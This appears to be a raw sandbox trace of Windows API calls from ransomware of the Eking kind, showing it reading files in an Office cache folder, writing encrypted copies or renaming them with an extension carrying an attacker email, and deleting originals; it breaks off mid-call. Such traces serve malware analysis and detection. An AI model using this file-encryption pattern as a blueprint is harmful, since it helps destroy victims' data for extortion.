[0249.631] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0249.632] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=174440) returned 1 [0249.632] CloseHandle (hObject=0x1b4) returned 1 [0249.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0249.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0249.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0249.632] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0249.632] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0249.632] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0249.632] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x17c [0249.633] ReadFile (in: hFile=0x1b4, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x2a968, lpOverlapped=0x0) returned 1 [0249.637] WriteFile (in: hFile=0x17c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x2a970, lpOverlapped=0x0) returned 1 [0249.641] WriteFile (in: hFile=0x17c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xe2, lpOverlapped=0x0) returned 1 [0249.641] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0249.641] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0249.641] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x2a968, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x2a968, lpOverlapped=0x0) returned 1 [0249.642] FlushFileBuffers (hFile=0x1b4) returned 1 [0249.645] FlushFileBuffers (hFile=0x17c) returned 1 [0249.647] CloseHandle (hObject=0x1b4) returned 1 [0249.647] CloseHandle (hObject=0x17c) returned 1 [0249.647] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0249.649] SetEvent (hEvent=0xe0) returned 1 [0249.649] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0249.651] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=7378792) returned 1 [0249.652] CloseHandle (hObject=0x17c) returned 1 [0249.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0249.652] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0249.653] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0249.653] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0249.653] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0249.653] ReadFile (in: hFile=0x17c, lpBuffer=0x3370058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x3370058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0249.660] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0249.660] ReadFile (in: hFile=0x17c, lpBuffer=0x33b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33b0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0249.666] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0249.666] ReadFile (in: hFile=0x17c, lpBuffer=0x33f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0249.729] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb28 | out: lpNewFilePointer=0x0) returned 1 [0249.729] WriteFile (in: hFile=0x17c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xc0102, lpOverlapped=0x0) returned 1 [0249.743] SetEndOfFile (hFile=0x17c) returned 1 [0249.743] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0249.743] WriteFile (in: hFile=0x17c, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0249.745] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0249.745] WriteFile (in: hFile=0x17c, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0249.747] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0249.747] WriteFile (in: hFile=0x17c, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0249.748] FlushFileBuffers (hFile=0x17c) returned 1 [0249.910] CloseHandle (hObject=0x17c) returned 1 [0249.911] SetEvent (hEvent=0xe0) returned 1 [0249.911] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0249.972] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=36233052) returned 1 [0249.972] CloseHandle (hObject=0x17c) returned 1 [0249.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0249.972] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0249.973] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0249.973] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0249.973] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0249.973] ReadFile (in: hFile=0x17c, lpBuffer=0x3370058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x3370058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0249.978] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0249.978] ReadFile (in: hFile=0x17c, lpBuffer=0x33b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33b0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0249.989] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0249.989] ReadFile (in: hFile=0x17c, lpBuffer=0x33f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0250.004] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb28 | out: lpNewFilePointer=0x0) returned 1 [0250.005] WriteFile (in: hFile=0x17c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xc0112, lpOverlapped=0x0) returned 1 [0250.050] SetEndOfFile (hFile=0x17c) returned 1 [0250.050] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0250.050] WriteFile (in: hFile=0x17c, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0250.053] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0250.053] WriteFile (in: hFile=0x17c, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0250.054] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0250.054] WriteFile (in: hFile=0x17c, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0250.055] FlushFileBuffers (hFile=0x17c) returned 1 [0251.420] CloseHandle (hObject=0x17c) returned 1 [0251.464] SetEvent (hEvent=0xe0) returned 1 [0251.464] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0251.466] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=715834) returned 1 [0251.466] CloseHandle (hObject=0x1b0) returned 1 [0251.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0251.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0251.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0251.466] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0251.466] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0251.467] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0251.467] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x17c [0251.467] ReadFile (in: hFile=0x1b0, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0xaec3a, lpOverlapped=0x0) returned 1 [0251.485] WriteFile (in: hFile=0x17c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xaec40, lpOverlapped=0x0) returned 1 [0251.503] WriteFile (in: hFile=0x17c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x112, lpOverlapped=0x0) returned 1 [0251.504] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0251.504] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0251.504] WriteFile (in: hFile=0x1b0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xaec3a, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0xaec3a, lpOverlapped=0x0) returned 1 [0251.506] FlushFileBuffers (hFile=0x1b0) returned 1 [0251.671] FlushFileBuffers (hFile=0x17c) returned 1 [0251.912] CloseHandle (hObject=0x1b0) returned 1 [0251.913] CloseHandle (hObject=0x17c) returned 1 [0251.913] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0251.920] SetEvent (hEvent=0xe0) returned 1 [0251.921] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0252.015] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=6421) returned 1 [0252.015] CloseHandle (hObject=0x17c) returned 1 [0252.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 0x2020 [0252.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 0x2020 [0252.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0252.016] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0252.016] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0252.016] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0252.016] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1b0 [0252.016] ReadFile (in: hFile=0x17c, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x1915, lpOverlapped=0x0) returned 1 [0252.018] WriteFile (in: hFile=0x1b0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x1920, lpOverlapped=0x0) returned 1 [0252.019] WriteFile (in: hFile=0x1b0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0252.020] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0252.020] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0252.020] WriteFile (in: hFile=0x17c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x1915, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x1915, lpOverlapped=0x0) returned 1 [0252.020] FlushFileBuffers (hFile=0x17c) returned 1 [0252.027] FlushFileBuffers (hFile=0x1b0) returned 1 [0252.029] CloseHandle (hObject=0x17c) returned 1 [0252.029] CloseHandle (hObject=0x1b0) returned 1 [0252.030] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 1 [0252.031] SetEvent (hEvent=0xe0) returned 1 [0252.031] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0252.032] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=162970271) returned 1 [0252.032] CloseHandle (hObject=0x1b0) returned 1 [0252.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab")) returned 0x2020 [0252.032] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0252.033] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 